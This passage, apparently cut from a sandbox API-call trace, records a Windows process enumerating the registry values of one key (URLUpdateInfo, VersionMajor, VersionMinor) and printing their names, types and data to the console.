GetProcessHeap () returned 0x2e0000 [0147.968] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.968] GetProcessHeap () returned 0x2e0000 [0147.968] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.968] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.968] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.968] GetProcessHeap () returned 0x2e0000 [0147.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.968] GetProcessHeap () returned 0x2e0000 [0147.968] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.968] GetProcessHeap () returned 0x2e0000 [0147.968] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.968] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.968] __iob_func () returned 0x7fefd702a80 [0147.968] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.968] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.968] _fileno (_File=0x7fefd702ab0) returned 1 [0147.968] _errno () returned 0xc4bb0 [0147.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.968] _errno () returned 0xc4bb0 [0147.968] GetFileType (hFile=0x50) returned 0x1 [0147.968] lstrlenW (lpString=" ") returned 4 [0147.969] GetConsoleOutputCP () returned 0x1b5 [0147.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.969] GetConsoleOutputCP () returned 0x1b5 [0147.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.969] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.969] __iob_func () returned 0x7fefd702a80 [0147.969] _fileno (_File=0x7fefd702ab0) returned 1 [0147.969] _errno () returned 0xc4bb0 [0147.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.969] _errno () returned 0xc4bb0 [0147.969] GetFileType (hFile=0x50) returned 0x1 [0147.969] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.969] GetConsoleOutputCP () returned 0x1b5 [0147.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.969] GetConsoleOutputCP () returned 0x1b5 [0147.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.970] __iob_func () returned 0x7fefd702a80 [0147.970] _fileno (_File=0x7fefd702ab0) returned 1 [0147.970] _errno () returned 0xc4bb0 [0147.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.970] _errno () returned 0xc4bb0 [0147.970] GetFileType (hFile=0x50) returned 0x1 [0147.970] lstrlenW (lpString=" ") returned 4 [0147.970] GetConsoleOutputCP () returned 0x1b5 [0147.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.970] GetConsoleOutputCP () returned 0x1b5 [0147.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.970] __iob_func () returned 0x7fefd702a80 [0147.970] _fileno (_File=0x7fefd702ab0) returned 1 [0147.970] _errno () returned 0xc4bb0 [0147.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.970] _errno () returned 0xc4bb0 [0147.970] GetFileType (hFile=0x50) returned 0x1 [0147.970] lstrlenW (lpString="REG_SZ") returned 6 [0147.970] GetConsoleOutputCP () returned 0x1b5 [0147.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.970] GetConsoleOutputCP () returned 0x1b5 [0147.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.971] __iob_func () returned 0x7fefd702a80 [0147.971] _fileno (_File=0x7fefd702ab0) returned 1 [0147.971] _errno () returned 0xc4bb0 [0147.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.971] _errno () returned 0xc4bb0 [0147.971] GetFileType (hFile=0x50) returned 0x1 [0147.971] lstrlenW (lpString=" ") returned 4 [0147.971] GetConsoleOutputCP () returned 0x1b5 [0147.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.971] GetConsoleOutputCP () returned 0x1b5 [0147.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.971] __iob_func () returned 0x7fefd702a80 [0147.971] _fileno (_File=0x7fefd702ab0) returned 1 [0147.971] _errno () returned 0xc4bb0 [0147.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.971] _errno () returned 0xc4bb0 [0147.971] GetFileType (hFile=0x50) returned 0x1 [0147.971] lstrlenW (lpString="") returned 0 [0147.971] __iob_func () returned 0x7fefd702a80 [0147.971] _fileno (_File=0x7fefd702ab0) returned 1 [0147.971] _errno () returned 0xc4bb0 [0147.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.972] _errno () returned 0xc4bb0 [0147.972] GetFileType (hFile=0x50) returned 0x1 [0147.972] lstrlenW (lpString="\n") returned 1 [0147.972] GetConsoleOutputCP () returned 0x1b5 [0147.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.972] GetConsoleOutputCP () returned 0x1b5 [0147.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.972] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.972] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.972] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.972] GetProcessHeap () returned 0x2e0000 [0147.972] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.972] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xc, pcbData=0x23f670*=0x4) returned 0x0 [0147.972] __iob_func () returned 0x7fefd702a80 [0147.972] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.973] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.973] _fileno (_File=0x7fefd702ab0) returned 1 [0147.973] _errno () returned 0xc4bb0 [0147.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.973] _errno () returned 0xc4bb0 [0147.973] GetFileType (hFile=0x50) returned 0x1 [0147.973] lstrlenW (lpString=" ") returned 4 [0147.973] GetConsoleOutputCP () returned 0x1b5 [0147.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.973] GetConsoleOutputCP () returned 0x1b5 [0147.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.973] lstrlenW (lpString="VersionMajor") returned 12 [0147.973] __iob_func () returned 0x7fefd702a80 [0147.973] _fileno (_File=0x7fefd702ab0) returned 1 [0147.973] _errno () returned 0xc4bb0 [0147.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.973] _errno () returned 0xc4bb0 [0147.973] GetFileType (hFile=0x50) returned 0x1 [0147.973] lstrlenW (lpString="VersionMajor") returned 12 [0147.973] GetConsoleOutputCP () returned 0x1b5 [0147.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.974] GetConsoleOutputCP () returned 0x1b5 [0147.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.974] __iob_func () returned 0x7fefd702a80 [0147.974] _fileno (_File=0x7fefd702ab0) returned 1 [0147.974] _errno () returned 0xc4bb0 [0147.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.974] _errno () returned 0xc4bb0 [0147.974] GetFileType (hFile=0x50) returned 0x1 [0147.974] lstrlenW (lpString=" ") returned 4 [0147.974] GetConsoleOutputCP () returned 0x1b5 [0147.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.974] GetConsoleOutputCP () returned 0x1b5 [0147.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.974] __iob_func () returned 0x7fefd702a80 [0147.974] _fileno (_File=0x7fefd702ab0) returned 1 [0147.974] _errno () returned 0xc4bb0 [0147.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.975] _errno () returned 0xc4bb0 [0147.975] GetFileType (hFile=0x50) returned 0x1 [0147.975] lstrlenW (lpString="REG_DWORD") returned 9 [0147.975] GetConsoleOutputCP () returned 0x1b5 [0147.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.975] GetConsoleOutputCP () returned 0x1b5 [0147.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.975] __iob_func () returned 0x7fefd702a80 [0147.975] _fileno (_File=0x7fefd702ab0) returned 1 [0147.975] _errno () returned 0xc4bb0 [0147.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.975] _errno () returned 0xc4bb0 [0147.975] GetFileType (hFile=0x50) returned 0x1 [0147.975] lstrlenW (lpString=" ") returned 4 [0147.975] GetConsoleOutputCP () returned 0x1b5 [0147.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.975] GetConsoleOutputCP () returned 0x1b5 [0147.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.976] __iob_func () returned 0x7fefd702a80 [0147.976] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.976] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xc") returned 3 [0147.976] _fileno (_File=0x7fefd702ab0) returned 1 [0147.976] _errno () returned 0xc4bb0 [0147.976] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.976] _errno () returned 0xc4bb0 [0147.976] GetFileType (hFile=0x50) returned 0x1 [0147.976] lstrlenW (lpString="0xc") returned 3 [0147.976] GetConsoleOutputCP () returned 0x1b5 [0147.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.976] GetConsoleOutputCP () returned 0x1b5 [0147.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc", lpUsedDefaultChar=0x0) returned 3 [0147.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.976] __iob_func () returned 0x7fefd702a80 [0147.976] _fileno (_File=0x7fefd702ab0) returned 1 [0147.977] _errno () returned 0xc4bb0 [0147.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.977] _errno () returned 0xc4bb0 [0147.977] GetFileType (hFile=0x50) returned 0x1 [0147.977] lstrlenW (lpString="\n") returned 1 [0147.977] GetConsoleOutputCP () returned 0x1b5 [0147.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.977] GetConsoleOutputCP () returned 0x1b5 [0147.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.977] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.977] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.977] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.977] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.977] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.977] GetProcessHeap () returned 0x2e0000 [0147.977] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.977] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.978] __iob_func () returned 0x7fefd702a80 [0147.978] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.978] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.978] _fileno (_File=0x7fefd702ab0) returned 1 [0147.978] _errno () returned 0xc4bb0 [0147.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.978] _errno () returned 0xc4bb0 [0147.978] GetFileType (hFile=0x50) returned 0x1 [0147.978] lstrlenW (lpString=" ") returned 4 [0147.978] GetConsoleOutputCP () returned 0x1b5 [0147.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.978] GetConsoleOutputCP () returned 0x1b5 [0147.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.978] lstrlenW (lpString="VersionMinor") returned 12 [0147.978] __iob_func () returned 0x7fefd702a80 [0147.978] _fileno (_File=0x7fefd702ab0) returned 1 [0147.978] _errno () returned 0xc4bb0 [0147.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.978] _errno () returned 0xc4bb0 [0147.978] GetFileType (hFile=0x50) returned 0x1 [0147.978] lstrlenW (lpString="VersionMinor") returned 12 [0147.978] GetConsoleOutputCP () returned 0x1b5 [0147.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.979] GetConsoleOutputCP () returned 0x1b5 [0147.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.979] __iob_func () returned 0x7fefd702a80 [0147.979] _fileno (_File=0x7fefd702ab0) returned 1 [0147.979] _errno () returned 0xc4bb0 [0147.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.979] _errno () returned 0xc4bb0 [0147.979] GetFileType (hFile=0x50) returned 0x1 [0147.979] lstrlenW (lpString=" ") returned 4 [0147.979] GetConsoleOutputCP () returned 0x1b5 [0147.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.979] GetConsoleOutputCP () returned 0x1b5 [0147.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.979] __iob_func () returned 0x7fefd702a80 [0147.979] _fileno (_File=0x7fefd702ab0) returned 1 [0147.979] _errno () returned 0xc4bb0 [0147.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.979] _errno () returned 0xc4bb0 [0147.980] GetFileType (hFile=0x50) returned 0x1 [0147.980] lstrlenW (lpString="REG_DWORD") returned 9 [0147.980] GetConsoleOutputCP () returned 0x1b5 [0147.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.980] GetConsoleOutputCP () returned 0x1b5 [0147.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.980] __iob_func () returned 0x7fefd702a80 [0147.980] _fileno (_File=0x7fefd702ab0) returned 1 [0147.980] _errno () returned 0xc4bb0 [0147.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.980] _errno () returned 0xc4bb0 [0147.980] GetFileType (hFile=0x50) returned 0x1 [0147.980] lstrlenW (lpString=" ") returned 4 [0147.980] GetConsoleOutputCP () returned 0x1b5 [0147.981] 